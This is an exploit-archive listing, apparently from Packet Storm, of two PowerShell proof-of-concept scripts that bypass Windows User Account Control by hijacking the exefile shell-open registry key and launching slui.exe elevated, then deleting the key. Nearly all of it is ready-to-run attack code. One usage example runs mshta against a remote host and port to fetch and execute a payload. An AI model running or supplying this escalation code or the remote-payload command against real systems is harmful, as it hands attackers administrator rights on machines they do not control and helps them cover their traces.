Microsoft Windows UAC Protection Bypass

This script is a proof of concept to bypass the Microsoft Windows User Access Control (UAC) via SluiFileHandlerHijackLPE.

MD5 | 76887c2ea927367c717be6c7a61a4c47

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Interactive Version:

<#
.SYNOPSIS
  This script is a proof of concept to bypass the User Access Control (UAC) via SluiFileHandlerHijackLPE
.NOTES
  Function   : SluiHijackBypass
  File Name  : SluiHijackBypass.ps1
  Author     : Gushmazuko
.LINK
  https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1
  Original source: https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-escalation
.EXAMPLE
  Load "cmd.exe" (By Default used 'arch 64'):
  SluiHijackBypass -command "cmd.exe" -arch 64

  Load "mshta http://192.168.0.30:4444/0HUGN"
  SluiHijackBypass -command "mshta http://192.168.0.30:4444/0HUGN"
#>

function SluiHijackBypass(){
  Param (

    [Parameter(Mandatory=$True)]
    [String]$command,
    [ValidateSet(64,86)]
    [int]$arch = 64
  )

  #Create registry structure
  New-Item "HKCU:\Software\Classes\exefile\shell\open\command" -Force
  Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\shell\open\command" -Name "(default)" -Value $command -Force

  #Perform the bypass
  switch($arch)
  {
    64
    {
      #x64 shell in Windows x64 | x86 shell in Windows x86
      Start-Process "C:\Windows\System32\slui.exe" -Verb runas
    }
    86
    {
      #x86 shell in Windows x64
      C:\Windows\Sysnative\cmd.exe /c "powershell Start-Process C:\Windows\System32\slui.exe -Verb runas"
    }
  }

  #Remove registry structure
  Start-Sleep 3
  Remove-Item "HKCU:\Software\Classes\exefile\shell\" -Recurse -Force
}


################################################################################


Non-Interactive Version:

<#
.SYNOPSIS
  Noninteractive version of script, for directly execute.
  This script is a proof of concept to bypass the User Access Control (UAC) via SluiFileHandlerHijackLPE
.NOTES
  File Name  : SluiHijackBypass_direct.ps1
  Author     : Gushmazuko
.LINK
  https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass_direct.ps1
  Original source: https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-escalation
.EXAMPLE
  Load "cmd.exe" (By Default used 'arch 64'):
  powershell -exec bypass .\SluiHijackBypass_direct.ps1
#>

$program = "cmd.exe"
New-Item "HKCU:\Software\Classes\exefile\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\shell\open\command" -Name "(default)" -Value $program -Force
#For x64 shell in Windows x64:
Start-Process "C:\Windows\System32\slui.exe" -Verb runas
#For x86 shell in Windows x64:
#C:\Windows\Sysnative\cmd.exe /c "powershell Start-Process "C:\Windows\System32\slui.exe" -Verb runas"
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\exefile\shell\" -Recurse -Force

Source: packetstormsecurity.com